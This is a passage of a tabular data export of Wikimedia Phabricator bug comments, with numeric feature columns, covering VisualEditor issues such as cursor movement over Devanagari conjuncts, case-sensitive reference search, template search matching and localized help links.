System Environment:
Windows 7 X64 SP1
Google Chrome 29.0.1547.76 m

Tested at URL

न्स seems to now require three keystrokes. All the others listed in Comment 6 above along with ग्र भ्र श्र ष्र still require two keystrokes."
247089,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

It seems similar behaviour (both with and without the patch) occurs when a letter is followed by ् + स regardless of whether the glyph appears joined or not.

To be clear, the same problem occurs with this cluster, and the patch works the same.

Results with the patch for all consonants, tested at [1]:
Glyph(s) -- Number of keystrokes needed (going either left to right or right to left)
क्स ख्स ग्स घ्स ङ्स च्स छ्स ज्स झ्स ञ्स ट्स ठ्स ड्स ढ्स ण्स त्स थ्स द्स ध्स न्स प्स फ्स ब्स भ्स म्स य्स र्स ल्स व्स श्स ष्स स्स ह्स -- 2

I have not tested the selection per key-press for these, but I expect the results would be same as those in Comment 5

Results without the patch, tested at [2]:
All of the clusters can be passed with one right arrow key press going from left to right. None can be passed going right to left on any number of left arrow key-presses.

[1]: https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
[2]: https://hi.wikipedia.org/wiki/%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF:Siddhartha_Ghai/sandbox?veaction=edit",,,1379499369,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,11,,1.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,3.3333333333333335,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,2.0,10.0,0.3333333333333333,1.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,12.666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,0.6666666666666666,2.6666666666666665,6.333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,3.3333333333333335,0.0,1.0,10.0,12.666666666666666,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,2.0,3.4355555555555557,0.7733333333333333,"System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

It seems similar behaviour (both with and without the patch) occurs when a letter is followed by ् + स regardless of whether the glyph appears joined or not.

To be clear, the same problem occurs with this cluster, and the patch works the same.

Results with the patch for all consonants, tested at [1]:
Glyph(s) -- Number of keystrokes needed (going either left to right or right to left)
क्स ख्स ग्स घ्स ङ्स च्स छ्स ज्स झ्स ञ्स ट्स ठ्स ड्स ढ्स ण्स त्स थ्स द्स ध्स न्स प्स फ्स ब्स भ्स म्स य्स र्स ल्स व्स श्स ष्स स्स ह्स -- 2

I have not tested the selection per key-press for these, but I expect the results would be same as those in Comment 5

Results without the patch, tested at [2]:
All of the clusters can be passed with one right arrow key press going from left to right. None can be passed going right to left on any number of left arrow key-presses.

[1]: URL
[2]: URL"
247082,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","(In reply to comment #4)
> There's code to address this bug in the following patch, which is due to go
> live on mediawiki.org by 13 September 2013:
> 
> https://gerrit.wikimedia.org/r/#/c/82858/
> 
> It does not fix this completely, but it does make it possible to cursor left
> through the cluster with repeated consecutive keypresses.

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Tested this out at [1]. The cursor moves past the glyph on two left arrow keypresses.

I tried selecting the text with the left arrow keypresses. Then I copy-pasted the selected text into an external text editor. It seems the first keypress takes the cursor past र and the second past ग्
However, visually the caret seems to be unmoved after the first keypress (i.e it does not move past the glyph or into the glyph) and crosses the glyph after the second keypress.

The patch also introduces an unintended side-effect. Crossing the glyph from the left to the right on right arrow keypress also takes two keypresses now. Without the patch, this used to take only one right arrow keypress. This correct behaviour can be currently seen at hindi wikipedia, specifically tested at [2]

So the problem is partially fixed, but with side-effects.

[1]: https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
[2]: https://hi.wikipedia.org/wiki/%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF:Siddhartha_Ghai/sandbox?veaction=edit",,,1379497039,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,4.666666666666667,8.333333333333334,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,15.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,7.666666666666667,1.3333333333333333,10.0,0.0,1.3333333333333333,9.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,4.0,0.0,1.3333333333333333,8.333333333333334,5.333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,1.6666666666666667,3.7747747747747744,0.6801801801801801,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Tested this out at [1]. The cursor moves past the glyph on two left arrow keypresses.

I tried selecting the text with the left arrow keypresses. Then I copy-pasted the selected text into an external text editor. It seems the first keypress takes the cursor past र and the second past ग्
However, visually the caret seems to be unmoved after the first keypress (i.e it does not move past the glyph or into the glyph) and crosses the glyph after the second keypress.

The patch also introduces an unintended side-effect. Crossing the glyph from the left to the right on right arrow keypress also takes two keypresses now. Without the patch, this used to take only one right arrow keypress. This correct behaviour can be currently seen at hindi wikipedia, specifically tested at [2]

So the problem is partially fixed, but with side-effects.

[1]: URL
[2]: URL"
247075,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","There's code to address this bug in the following patch, which is due to go live on mediawiki.org by 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

It does not fix this completely, but it does make it possible to cursor left through the cluster with repeated consecutive keypresses.",,,1378943340,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,6.0,15.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.1923076923076925,0.8461538461538461,"There's code to address this bug in the following patch, which is due to go live on mediawiki.org by 13 September 2013:

URL

It does not fix this completely, but it does make it possible to cursor left through the cluster with repeated consecutive keypresses."
247070,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","(In reply to comment #2)
> Hi,
> 
> You are referring problem to windows system based inscript input system , ULS
> or any hindi devnagari input or any devnagari input including  Marathi and
> Nepali ?
> 
> Regards

The problem is not with the input method. It is with moving around the cursor when using visual editor. So, for example, if any letter followed by ् + र already exists on the wiki and you try to edit the page with visual editor, you can move the cursor across it from left to right, but not from right to left.

As far as I understand the problem, it is specific to devanagari (not hindi), although I haven't specifically gone to mr or ne wikis to verify.",,,1377345735,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,7,,0.5,0.0,0.0,0.0,3.0,3.0,2.0,0.0,1.0,0.5,2.0,1.0,0.0,0.0,0.0,1.5,0.0,7.5,14.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,4.5,1.0,2.0,1.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,4.5,2.0,8.0,2.0,2.5,5.0,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,5.5,14.5,5.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,3.464797747055812,0.7119815668202765,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The problem is not with the input method. It is with moving around the cursor when using visual editor. So, for example, if any letter followed by ् + र already exists on the wiki and you try to edit the page with visual editor, you can move the cursor across it from left to right, but not from right to left.

As far as I understand the problem, it is specific to devanagari (not hindi), although I haven't specifically gone to mr or ne wikis to verify."
247062,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","(In reply to comment #1)
> Update: Same problem seems to arise for any other letters followed by ् + र
> to
> form a combined glyph. Examples:भ्र श्र ष्र etc. It does not seem to arise
> when
> the glyph is not combined.

Hi,

You are referring problem to windows system based inscript input system , ULS or any hindi devnagari input or any devnagari input including  Marathi and Nepali ?

Regards",,,1377236465,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,7,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,23.0,0.0,6.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,6.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,3.8653846153846154,0.6538461538461539,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hi,

You are referring problem to windows system based inscript input system , ULS or any hindi devnagari input or any devnagari input including  Marathi and Nepali ?

Regards"
247053,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press",Update: Same problem seems to arise for any other letters followed by ् + र to form a combined glyph. Examples:भ्र श्र ष्र etc. It does not seem to arise when the glyph is not combined.,,,1374618177,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,14.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.5714285714285716,0.7857142857142857,Update: Same problem seems to arise for any other letters followed by ् + र to form a combined glyph. Examples:भ्र श्र ष्र etc. It does not seem to arise when the glyph is not combined.
53838,VisualEditor: Reference dialog re-use search form doesn't recognise uppercase group names,"The re-use tab in the reference dialog allows searching for group names. This was always possible. However, it doesn't work when the group name is uppercase or contains an uppercase character. For example, it works when the group name is ""note"" but not when the group name is ""A"". It doesn't matter if I search for ""a"" or ""A"", it's not found.

Turns out the relevant code is incomplete ever since it was written in 2013, see https://gerrit.wikimedia.org/r/70364. The relevant ticket was {T51733}.",Medium,50.0,1374525480,1721831979.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-k5wpqok2x66oei3wguaf,False,PHID-TASK-2ms2vngz2briyomwp2bg,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,1.0,3.0,3.5,2.0,0.0,0.0,1.0,2.0,1.5,0.0,0.0,0.0,1.0,0.0,6.0,6.5,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,9.5,2.5,3.5,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,5.5,5.0,9.5,3.5,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,4.5,6.5,2.0,0.0,6.5,0.0,4.5,0.0,1.5,1.5,0.0,0.5,0.0,0.0,0.0,3.536363636363636,0.7363636363636363,"The re-use tab in the reference dialog allows searching for group names. This was always possible. However, it doesn't work when the group name is uppercase or contains an uppercase character. For example, it works when the group name is ""note"" but not when the group name is ""A"". It doesn't matter if I search for ""a"" or ""A"", it's not found.

Turns out the relevant code is incomplete ever since it was written in 2013, see GERRIT_URL. The relevant ticket was {T51733}."
2382748,VisualEditor: Reference dialog re-use search form doesn't recognise uppercase group names,"Change #1055393 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Fix reference search not working with uppercase groups/names%%%
https://gerrit.wikimedia.org/r/1055393",,,1721641929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2ms2vngz2briyomwp2bg,task_subcomment,,True,c1,3,False,,,577,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.9722222222222223,0.7777777777777778,"Change #1055393 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Fix reference search not working with uppercase groups/names%%%
GERRIT_URL"
2381720,VisualEditor: Reference dialog re-use search form doesn't recognise uppercase group names,"Change #1055393 had a related patch set uploaded (by Thiemo Kreuz (WMDE); author: Thiemo Kreuz (WMDE)):
%%%[mediawiki/extensions/Cite@master] Fix reference search not working with uppercase groups/names%%%
https://gerrit.wikimedia.org/r/1055393",,,1721382014,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2ms2vngz2briyomwp2bg,task_subcomment,,True,c1,3,False,,,576,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,4.020833333333333,0.7708333333333334,"Change #1055393 had a related patch set uploaded (by Thiemo Kreuz (WMDE); author: Thiemo Kreuz (WMDE)):
%%%[mediawiki/extensions/Cite@master] Fix reference search not working with uppercase groups/names%%%
GERRIT_URL"
2283753,VisualEditor: Reference dialog re-use search form doesn't recognise uppercase group names,"I'm not sure what's missing here. The group name always was searchable ever since the code was added in June 2013. I just tested it and it works with and without #Citoid. Maybe the code was not deployed when this ticket was written?

https://gerrit.wikimedia.org/r/c/mediawiki/extensions/VisualEditor/+/70364/27/modules/ve/ui/widgets/ve.ui.MWReferenceSearchWidget.js#123",,,1708623279,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-2ms2vngz2briyomwp2bg,task_subcomment,,True,c1,3,False,,,555,,0.0,0.0,0.0,6.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,15.0,8.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,13.0,4.0,4.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,8.0,8.0,4.0,2.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.75,0.7884615384615384,"I'm not sure what's missing here. The group name always was searchable ever since the code was added in June 2013. I just tested it and it works with and without #Citoid. Maybe the code was not deployed when this ticket was written?

URL"
53822,VisualEditor: Transclusion editor template search should additionally find in-string matches,"Split from bug 51436, Original comment was:
""Also typing a word only shows template names starting with that word, not
containing it, which is a weird search behaviour.

If I type ""book"", template ""Cite book"" is not shown, which limits the search
functionality to be useful only for people who already know template names
(i.e. those who don't need it).""

A further relevant comment was:
""This is asking for VisualEditor ... to use an entirely different (and slower) part of MediaWiki's search infrastructure so we can do in-string searching rather than left-string completion.""

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51670",Medium,50.0,1374511680,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-bcumpuzgy3avff6z7fio,task_description,open,True,c1,3,False,False,,3,,0.0,0.0,0.5,0.5,1.5,4.5,1.0,0.0,0.0,0.5,1.0,0.5,0.0,1.0,0.0,1.0,0.5,6.0,6.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,1.0,4.0,2.0,1.0,1.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.0,12.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,3.0,3.5,9.0,1.0,0.5,5.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,2.5,6.5,2.0,0.0,4.5,0.0,2.5,0.0,2.0,2.5,0.0,3.0,1.5,0.0,0.5,3.7628205128205128,0.6923076923076923,"Split from bug 51436, Original comment was:
""Also typing a word only shows template names starting with that word, not
containing it, which is a weird search behaviour.

If I type ""book"", template ""Cite book"" is not shown, which limits the search
functionality to be useful only for people who already know template names
(i.e. those who don't need it).""

A further relevant comment was:
""This is asking for VisualEditor ... to use an entirely different (and slower) part of MediaWiki's search infrastructure so we can do in-string searching rather than left-string completion.""

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
245786,VisualEditor: Transclusion editor template search should additionally find in-string matches,"**crypticc62** wrote:

Even if in-string searching is used instead of left-string completion, there is still the problem of templates whose names are completely unsearchable, such as {{rp}} and pretty much everything in [[Category:Typing-aid templates]].

What would be very useful is a TemplateData field in which editors can list relevant keywords that users might search for. Perhaps it could be called ""keywords"" or ""tags"". Without something like this, it's not clear to me how new users would ever find the templates they're looking for.",,,1377222496,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bcumpuzgy3avff6z7fio,task_subcomment,,True,c1,3,False,,,7,,0.5,1.5,1.5,1.5,1.0,6.0,2.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.5,1.0,0.0,6.5,9.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,1.5,0.0,4.0,1.0,1.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,12.5,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,2.0,4.0,5.0,2.0,1.5,4.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,9.0,1.0,0.0,3.5,0.0,3.5,0.0,3.0,1.0,1.0,1.5,0.0,0.0,1.0,3.8836158192090395,0.7651129943502826,"**crypticc62** wrote:

Even if in-string searching is used instead of left-string completion, there is still the problem of templates whose names are completely unsearchable, such as {{rp}} and pretty much everything in [[Category:Typing-aid templates]].

What would be very useful is a TemplateData field in which editors can list relevant keywords that users might search for. Perhaps it could be called ""keywords"" or ""tags"". Without something like this, it's not clear to me how new users would ever find the templates they're looking for."
53797,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","The VisualEditor's user manual is translatable in Meta, which is a Good Thing. Currently the help link uses Special:MyLanguage. This uses the user's UI language as defined on Meta, which is likely not to be the same as the user's UI language on a non-English site.

As much as possible, the link should point directly to the user manual in the language that the user is using currently for the UI.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1374488220,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-likhdovodmty4qer7rsq,task_description,open,True,c1,3,False,False,,3,,1.0,0.0,0.0,0.0,0.5,6.5,2.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,11.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,3.0,11.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,1.0,0.0,0.0,0.0,3.894230769230769,0.6730769230769231,"The VisualEditor's user manual is translatable in Meta, which is a Good Thing. Currently the help link uses Special:MyLanguage. This uses the user's UI language as defined on Meta, which is likely not to be the same as the user's UI language on a non-English site.

As much as possible, the link should point directly to the user manual in the language that the user is using currently for the UI.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
727473,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","That is intentional. Given the logged out users and many logged in users by default have English, it prefers the provided language code instead of interface language.",,,1473747184,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,167,,3.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.8333333333333334,"That is intentional. Given the logged out users and many logged in users by default have English, it prefers the provided language code instead of interface language."
727191,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language",">>! In T53797#564658, @Nikerabbit wrote:
> You could point to Special:MyLanguage/Page/<current ui language>. If the user is logged on mediawiki.org (which is quite likely), their interface language there will still overrule the provided language code :(

That would probably be okay, but if I go to https://ta.wikipedia.org/wiki/Mw:Special:MyLanguage/Help:VisualEditor/User_guide/ta I get Tamil, even though I am logged in and my preference is en.",,,1473709455,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,167,,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,25.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,16.0,3.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.15625,0.875,"QUOTE
QUOTE

That would probably be okay, but if I go to URL I get Tamil, even though I am logged in and my preference is en."
244290,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","(In reply to comment #2)
> You could point to Special:MyLanguage/Page/<current ui language>. If the user
> is logged on mediawiki.org (which is quite likely), their interface language
> there will still overrule the provided language code :(

To do this we'd have to have code that explicitly mangles an i18n string. This feels… deeply wrong. :-(",,,1375114805,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.289473684210526,0.8157894736842105,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

To do this we'd have to have code that explicitly mangles an i18n string. This feels… deeply wrong. :-("
244286,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","You could point to Special:MyLanguage/Page/<current ui language>. If the user is logged on mediawiki.org (which is quite likely), their interface language there will still overrule the provided language code :(",,,1375086773,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,13.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,4.641025641025641,0.8974358974358975,"You could point to Special:MyLanguage/Page/<current ui language>. If the user is logged on mediawiki.org (which is quite likely), their interface language there will still overrule the provided language code :("
244280,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","(In reply to comment #0)
> The VisualEditor's user manual is translatable in Meta, which is a Good
> Thing.
> Currently the help link uses Special:MyLanguage. This uses the user's UI
